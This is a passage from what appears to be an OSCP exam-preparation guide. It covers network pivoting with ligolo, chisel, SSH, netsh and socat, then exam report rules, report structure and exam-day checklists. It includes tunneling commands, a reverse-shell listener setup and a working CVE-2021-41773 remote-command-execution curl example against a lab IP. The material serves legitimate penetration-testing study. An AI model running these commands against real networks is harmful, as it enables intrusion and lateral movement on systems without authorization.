./agent -connect LHOST:11601 -ignore-cert
.\agent.exe -connect LHOST:11601 -ignore-cert
# in the ligolo console (v0.6+)
session                              → select the agent
ifconfig                             → see the target's networks
interface_create --name ligolo
interface_add_route --name ligolo --route 10.10.20.0/24
tunnel_start --tun ligolo
# Listener on the agent, to catch a reverse shell from a machine on the internal network:
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:443 --tcp

Now nmap -sT -Pn 10.10.20.10 and nxc smb 10.10.20.0/24 work directly. For a reverse shell from an internal machine, LHOST = the pivot machine's internal IP, port 4444. The pivot machine's own 127.0.0.1 services: the special address 240.0.0.1 (add the route: --route 240.0.0.1/32).

(With an older ligolo version: sudo ip tuntap add user $(whoami) mode tun ligolo; sudo ip link set ligolo up; sudo ip route add 10.10.20.0/24 dev ligolo and start in the console.)

11.3 Chisel (SOCKS + proxychains)

./chisel server -p 8000 --reverse                         # Kali
./chisel client LHOST:8000 R:socks                        # target → SOCKS5 on 127.0.0.1:1080 on Kali
./chisel client LHOST:8000 R:8080:127.0.0.1:8080          # single port: target's localhost:8080 → Kali:8080
# last line of /etc/proxychains4.conf:  socks5 127.0.0.1 1080
proxychains4 -q nmap -sT -Pn -p 21,22,80,135,139,445,1433,3389,5985 10.10.20.10
proxychains4 -q nxc smb 10.10.20.0/24 -u $USER -p $PASS

11.4 SSH

ssh -L 8080:127.0.0.1:8080 user@$IP          # target's localhost:8080 → Kali:8080
ssh -L 4455:10.10.20.10:445 user@$IP          # internal machine:445 → Kali:4455
ssh -D 1080 -N user@$IP                        # dynamic SOCKS
ssh -R 1080 -N kali@LHOST                      # reverse dynamic from the target to Kali (sshd must run on Kali)
sshuttle -r user@$IP 10.10.20.0/24             # VPN-like

11.5 Windows built-ins / when you cannot bring tools

netsh interface portproxy add v4tov4 listenport=4455 listenaddress=0.0.0.0 connectport=445 connectaddress=10.10.20.10
netsh advfirewall firewall add rule name="p" dir=in action=allow protocol=TCP localport=4455
plink.exe -ssh -l kali -pw <pw> -R 127.0.0.1:9833:127.0.0.1:3389 LHOST

Single port on Linux: socat TCP-LISTEN:4455,fork TCP:10.10.20.10:445 &

Nmap through proxychains: only -sT -Pn, a short port list, --max-retries 1. ICMP/UDP do not pass.


12. Report

12.1 Submission rules

  • Format: a single PDF inside a .7z archive. The archive must be unencrypted and at most 200 MB. Nothing but the PDF goes in the archive: scripts and PoCs go inside the PDF as text.
  • File names (case-sensitive): OSCP-OS-XXXXX-Exam-Report.pdf and OSCP-OS-XXXXX-Exam-Report.7z (XXXXX = your OSID).
  • Upload: to https://upload.offsec.com within 24 hours of the end of the exam. Before pressing "Submit File", compare the MD5 the site shows with your own file's (md5sum). Submission is final and cannot be corrected afterwards.
  • Machine order: machines are graded in the order they appear in the report.
  • Template: OffSec's Word / OpenOffice template, or your own as long as it is structured and professional.
  • Language: the guide does not specify a language requirement. Graders are international, so English is the safest choice; if you are considering another language, ask OffSec support first.
  • Include any public exploit you modified in the report (highlight the changes + link to the original source).
  • Using AI/LLMs is banned while writing the report as well.

Tooling: the OffSec template (Word) or Markdown → PDF (noraj/OSCP-Exam-Report-Template-Markdown, pandoc + eisvogel). Set the template up before the exam and produce a practice report from a lab machine.

12.2 Structure

1. High-Level Summary            (which machines, at which level, short recommendations)
2. Methodology                   (information gathering, exploitation, privesc — short)
3. Active Directory Set          (machine by machine, AD proof)
4. Standalone Machines           (each in its own subsection)
   x.1 Service Enumeration       (nmap summary table)
   x.2 Initial Access            (vulnerability, CVE + link, step-by-step commands, screenshots)
   x.3 Privilege Escalation      (step by step)
   x.4 Proof                     (local.txt / proof.txt screenshot)
5. Appendix                      (modified exploit code)

12.3 Template for every step

**Step 3 — Exploiting Apache 2.4.49 path traversal (CVE-2021-41773)**
The CGI directory allowed path traversal to /bin/sh, giving remote command execution:
    curl -s --path-as-is -d 'echo Content-Type: text/plain; echo; id' \
      "http://192.168.50.10/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"
Output (Figure 7): uid=1(daemon) gid=1(daemon)

Rules: every command must be copy-and-paste runnable; no skipping like "then I got root"; a number and a one-sentence caption for every screenshot; the CVE and a source link next to the exploit name.

12.4 24-hour report plan

Hour Task
0–3 Sleep (right after the exam)
3–5 Fill in the template: headings, nmap tables, place the screenshots
5–10 Machine sections — command + output + figure
10–11 Summary, methodology
11–13 Read it end to end: is every flag in the panel, is every command correct, are the IPs correct
13–14 PDF → 7z → upload → MD5 check → keep the confirmation e-mail

Appendices

Appendix A — Exam day on one page

[ ] ID, clean desk, webcam, screen sharing (proctor)              [ ] VPN + tun0 IP → vars.sh
[ ] tmux: 0 http.server  1 listener  2 commands  3 notes           [ ] terminal log with script
[ ] Machine list + AD credentials from the panel noted down
[ ] Decide which machine gets Metasploit/Meterpreter (at most 1; `check` also counts as use)
[ ] Every machine: nmap -p- → -sC -sV → UDP 50 → web discovery
[ ] Every shell: TTY → first-10-minutes map → credential hunting
[ ] Every credential: reuse matrix (2.5) + nxc across the whole network
[ ] Every flag: interactive shell + IP + whoami + hostname in one frame → SUBMIT IN THE PANEL
[ ] 30-minute rule                                                  [ ] 03:00–07:00 sleep
[ ] Last 90 min: is all proof + all notes complete?

Appendix B — Quick proof commands

hostname; id; ip a | grep inet; cat local.txt     # Linux
hostname; whoami; ipconfig | findstr IPv4; type local.txt     # Windows PowerShell

Appendix C — Resources

Resource What for
OffSec OSCP+ Exam Guide, Exam FAQ, Equated Scaled Scoring FAQ, Proctoring FAQ Current rules (above everything else) — help.offsec.com
GTFOBins / LOLBAS Linux / Windows binary abuse
HackTricks / PayloadsAllTheThings Service and web techniques
The Hacker Recipes AD attacks (ACL, Kerberos, ADCS)
SecLists Wordlists
TJnull / LainKusanagi OSCP lists PG Practice / HTB practice machine lists
PEN-200 Challenge Labs (OSCP A/B/C) The practice closest to the exam format
IppSec videos (ippsec.rocks) Technique search, how to think through a box

This guide is not a list of commands, it is a decision system. When you are stuck, do not ask which command to run; ask which piece of information you have not collected yet.